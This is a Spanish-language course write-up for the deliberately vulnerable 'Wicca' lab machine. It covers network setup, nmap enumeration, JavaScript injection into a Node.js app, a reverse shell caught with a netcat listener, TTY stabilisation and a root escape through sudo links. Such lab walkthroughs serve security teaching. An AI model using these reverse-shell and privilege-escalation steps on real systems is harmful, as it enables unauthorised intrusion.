Writeup — Máquina Wicca (Tarea #1)
Resolución completa de la máquina Wicca, la primera tarea del curso. Video arriba con el paso a paso en vivo, resumen técnico abajo.
1. Setup en VirtualBox
Importamos las dos VMs:
- Kali Linux → archivo
.vbox(abrir con Open en VirtualBox). - Wicca → archivo
.ova(abrir con Import Appliance).
2. Red NAT dedicada
Kali por defecto usa 10.0.2.0/24, lo que choca con otras redes NAT.
Creamos una red aparte para el lab:
- Nombre:
red SEGINFO - CIDR:
10.0.3.0/24
Luego, en la configuración de red de ambas VMs: adaptador conectado a
NAT Network → red SEGINFO.
Resultado:
| Máquina | IP |
|---|---|
| Wicca | 10.0.3.3 |
| Kali | 10.0.3.4 |
3. Enumeración
nmap -sV 10.0.3.3
Servicios expuestos:
- 22/tcp — OpenSSH
- 80/tcp — Apache (página por defecto)
- 5000/tcp — Node.js (app
Middlware)
En el puerto 5000 hay una app que genera tokens a partir de un input.
Al inyectar 2+2 en el campo devuelve un error de JavaScript → el
servidor evalúa el input como código. Clásico RCE sobre Node.
4. Reverse shell — RCE en Node.js
Usamos revshells.com filtrando por Linux / Node.js. Las primeras variantes se caían al conectarse; la que funcionó fue la nodejs 2 URL-encoded En Kali:
nc -lvnp 9001
En Wicca, enviando el payload como valor del token:
http://10.0.3.3:5000/?name=Seba&token=<payload-node-url-encoded>
Shell recibida como usuario aleister.
aleister@wicca:~$ cat user.txt
# → primera flag
5. Estabilización del TTY
La shell inicial es cruda (sin autocompletado, Ctrl+C mata netcat,
etc). Se estabiliza así:
# dentro de la reverse shell:
script /dev/null -c bash
# en la shell local de Kali (Ctrl+Z primero):
stty raw -echo; fg
# de vuelta en la shell remota:
reset
xterm
Queda una terminal decente para trabajar.
6. Escalada de privilegios
sudo -l
User aleister may run the following commands on wicca:
(root) NOPASSWD: /usr/bin/links
links es un navegador web para terminal. Buscando en
GTFOBins (o simplemente
explorando los menús): al abrirlo con sudo links, presionamos
Esc → menú File → OS Shell → obtenemos shell como root.
sudo /usr/bin/links
# Esc → File → OS Shell
# whoami → root
cat /root/root.txt
# → segunda flag
Tips para el informe
Cuando saquen capturas de pantalla, incluyan su nombre/alias en el
prompt o en un echo antes del comando. Esto evita que el profe
piense que copiaron el writeup de internet (todos los writeups
públicos aparecen con kali@kali). Ver el post anterior sobre
cómo cambiar el hostname.
Resumen del ataque
- Enumeración con
nmap→ identificar servicio vulnerable (Node.js). - Probar inyección de código JS en el parámetro
token. - Reverse shell URL-encoded para Node.js → usuario
aleister. - Estabilizar TTY.
sudo -l→linkssin contraseña.- Escape con OS Shell desde
links→ root.
Dos flags. Nos vemos en clases.